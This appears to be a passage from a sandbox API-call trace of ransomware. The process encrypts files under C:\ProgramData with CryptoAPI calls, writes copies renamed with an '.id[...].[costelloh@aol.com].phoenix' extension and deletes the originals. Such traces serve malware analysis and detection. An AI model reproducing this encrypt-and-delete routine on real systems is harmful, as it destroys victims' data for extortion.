	[0228.572] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0228.572] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0228.572] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0228.573] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios\\windows.uif_ondemand.xml.inbox" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedscenarios\\windows.uif_ondemand.xml.inbox"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0228.624] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=2512) returned 1
	[0228.624] CloseHandle (hObject=0x2e8) returned 1
	[0228.624] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios\\windows.uif_ondemand.xml.inbox" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedscenarios\\windows.uif_ondemand.xml.inbox")) returned 0x20
	[0228.624] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios\\windows.uif_ondemand.xml.inbox.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedscenarios\\windows.uif_ondemand.xml.inbox.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0228.625] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios\\windows.uif_ondemand.xml.inbox" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedscenarios\\windows.uif_ondemand.xml.inbox"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0228.625] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0228.625] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0228.625] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios\\windows.uif_ondemand.xml.inbox.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedscenarios\\windows.uif_ondemand.xml.inbox.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0228.646] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1514c0) returned 1
	[0228.646] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0228.646] ReadFile (in: hFile=0x2e8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x9d0, lpOverlapped=0x0) returned 1
	[0228.884] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x9e0, dwBufLen=0x9e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x9e0) returned 1
	[0228.884] WriteFile (in: hFile=0x2c8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x9e0, lpOverlapped=0x0) returned 1
	[0228.884] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151700) returned 1
	[0228.884] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0228.884] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x60, dwBufLen=0x60 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x60) returned 1
	[0228.884] CryptDestroyKey (hKey=0x151700) returned 1
	[0228.884] WriteFile (in: hFile=0x2c8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x112, lpOverlapped=0x0) returned 1
	[0228.885] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0228.885] CloseHandle (hObject=0x2e8) returned 1
	[0228.885] CloseHandle (hObject=0x2c8) returned 1
	[0228.885] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios\\windows.uif_ondemand.xml.inbox" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedscenarios\\windows.uif_ondemand.xml.inbox")) returned 1
	[0228.886] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0228.886] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\AutoLogger-Diagtrack-Listener.etl" (normalized: "c:\\programdata\\microsoft\\diagnosis\\etllogs\\autologger\\autologger-diagtrack-listener.etl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0228.887] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=196608) returned 1
	[0228.887] CloseHandle (hObject=0x2c8) returned 1
	[0228.887] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\AutoLogger-Diagtrack-Listener.etl" (normalized: "c:\\programdata\\microsoft\\diagnosis\\etllogs\\autologger\\autologger-diagtrack-listener.etl")) returned 0x2020
	[0228.887] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\AutoLogger-Diagtrack-Listener.etl.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\diagnosis\\etllogs\\autologger\\autologger-diagtrack-listener.etl.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0228.888] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\AutoLogger-Diagtrack-Listener.etl" (normalized: "c:\\programdata\\microsoft\\diagnosis\\etllogs\\autologger\\autologger-diagtrack-listener.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0228.888] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0228.888] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0228.888] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\AutoLogger-Diagtrack-Listener.etl.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\diagnosis\\etllogs\\autologger\\autologger-diagtrack-listener.etl.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0228.890] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151580) returned 1
	[0228.890] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0228.890] ReadFile (in: hFile=0x2c8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x30000, lpOverlapped=0x0) returned 1
	[0228.913] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x30010, dwBufLen=0x30010 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x30010) returned 1
	[0228.914] WriteFile (in: hFile=0x2e8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x30010, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x30010, lpOverlapped=0x0) returned 1
	[0228.917] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151500) returned 1
	[0228.917] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0228.917] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x70, dwBufLen=0x70 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x70) returned 1
	[0228.917] CryptDestroyKey (hKey=0x151500) returned 1
	[0228.917] WriteFile (in: hFile=0x2e8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x122, lpOverlapped=0x0) returned 1
	[0228.917] CryptDestroyKey (hKey=0x151580) returned 1
	[0228.917] CloseHandle (hObject=0x2c8) returned 1
	[0228.917] CloseHandle (hObject=0x2e8) returned 1
	[0228.921] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\AutoLogger-Diagtrack-Listener.etl" (normalized: "c:\\programdata\\microsoft\\diagnosis\\etllogs\\autologger\\autologger-diagtrack-listener.etl")) returned 1
	[0228.923] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0228.923] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\IdentityCRL\\INT\\ppcrlconfig600.dll" (normalized: "c:\\programdata\\microsoft\\identitycrl\\int\\ppcrlconfig600.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0228.923] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=25312) returned 1
	[0228.923] CloseHandle (hObject=0x2e8) returned 1
	[0228.923] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\IdentityCRL\\INT\\ppcrlconfig600.dll" (normalized: "c:\\programdata\\microsoft\\identitycrl\\int\\ppcrlconfig600.dll")) returned 0x20
	[0228.924] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\IdentityCRL\\INT\\ppcrlconfig600.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\identitycrl\\int\\ppcrlconfig600.dll.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0228.924] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\IdentityCRL\\INT\\ppcrlconfig600.dll" (normalized: "c:\\programdata\\microsoft\\identitycrl\\int\\ppcrlconfig600.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0228.924] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0228.924] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0228.924] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\IdentityCRL\\INT\\ppcrlconfig600.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\identitycrl\\int\\ppcrlconfig600.dll.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0228.924] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151580) returned 1
	[0228.924] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0228.924] ReadFile (in: hFile=0x2e8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x62e0, lpOverlapped=0x0) returned 1
	[0228.940] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x62f0, dwBufLen=0x62f0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x62f0) returned 1
	[0228.940] WriteFile (in: hFile=0x2c8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x62f0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x62f0, lpOverlapped=0x0) returned 1
	[0228.942] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1511c0) returned 1
	[0228.942] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0228.942] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50, dwBufLen=0x50 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50) returned 1
	[0228.942] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0228.942] WriteFile (in: hFile=0x2c8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x102, lpOverlapped=0x0) returned 1
	[0228.942] CryptDestroyKey (hKey=0x151580) returned 1
	[0228.942] CloseHandle (hObject=0x2e8) returned 1
	[0228.942] CloseHandle (hObject=0x2c8) returned 1
	[0228.943] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\IdentityCRL\\INT\\ppcrlconfig600.dll" (normalized: "c:\\programdata\\microsoft\\identitycrl\\int\\ppcrlconfig600.dll")) returned 1
	[0228.951] SetEvent (hEvent=0x278) returned 1
	[0228.951] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0228.951] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\MF\\Active.GRL" (normalized: "c:\\programdata\\microsoft\\mf\\active.grl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0228.952] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=14972) returned 1
	[0228.952] CloseHandle (hObject=0x2c8) returned 1
	[0228.952] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\MF\\Active.GRL" (normalized: "c:\\programdata\\microsoft\\mf\\active.grl")) returned 0x20
	[0228.952] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\MF\\Active.GRL.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\mf\\active.grl.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0228.952] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\MF\\Active.GRL" (normalized: "c:\\programdata\\microsoft\\mf\\active.grl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0228.952] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0228.952] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0228.952] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\MF\\Active.GRL.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\mf\\active.grl.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0228.953] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151500) returned 1
	[0228.953] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0228.953] ReadFile (in: hFile=0x2c8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x3a7c, lpOverlapped=0x0) returned 1
	[0228.981] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x3a80, dwBufLen=0x3a80 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x3a80) returned 1
	[0228.981] WriteFile (in: hFile=0x2e8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x3a80, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x3a80, lpOverlapped=0x0) returned 1
	[0228.983] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151100) returned 1
	[0228.983] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0228.983] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x40, dwBufLen=0x40 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x40) returned 1
	[0228.983] CryptDestroyKey (hKey=0x151100) returned 1
	[0228.983] WriteFile (in: hFile=0x2e8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0xf2, lpOverlapped=0x0) returned 1
	[0228.983] CryptDestroyKey (hKey=0x151500) returned 1
	[0228.983] CloseHandle (hObject=0x2c8) returned 1
	[0228.983] CloseHandle (hObject=0x2e8) returned 1
	[0228.984] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\MF\\Active.GRL" (normalized: "c:\\programdata\\microsoft\\mf\\active.grl")) returned 1
	[0229.148] SetEvent (hEvent=0x278) returned 1
	[0229.148] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0229.148] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.chk" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edb.chk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0229.148] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=8192) returned 1
	[0229.148] CloseHandle (hObject=0x2d8) returned 1
	[0229.149] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.chk" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edb.chk")) returned 0x20
	[0229.149] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.chk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edb.chk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.149] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.chk" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edb.chk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0229.149] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0229.149] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0229.149] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.chk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edb.chk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0229.149] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151700) returned 1
	[0229.149] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0229.149] ReadFile (in: hFile=0x2d8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2000, lpOverlapped=0x0) returned 1
	[0229.150] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2010, dwBufLen=0x2010 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2010) returned 1
	[0229.150] WriteFile (in: hFile=0x2e8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2010, lpOverlapped=0x0) returned 1
	[0229.151] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1511c0) returned 1
	[0229.151] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0229.151] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x30, dwBufLen=0x30 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x30) returned 1
	[0229.151] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0229.151] WriteFile (in: hFile=0x2e8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0xe2, lpOverlapped=0x0) returned 1
	[0229.151] CryptDestroyKey (hKey=0x151700) returned 1
	[0229.151] CloseHandle (hObject=0x2d8) returned 1
	[0229.151] CloseHandle (hObject=0x2e8) returned 1
	[0229.153] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.chk" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edb.chk")) returned 1
	[0229.238] SetEvent (hEvent=0x278) returned 1
	[0229.239] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0229.239] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbres00002.jrs" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edbres00002.jrs"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0229.239] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=1310720) returned 1
	[0229.239] CloseHandle (hObject=0x2e8) returned 1
	[0229.239] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbres00002.jrs" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edbres00002.jrs")) returned 0x20
	[0229.239] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbres00002.jrs.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edbres00002.jrs.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
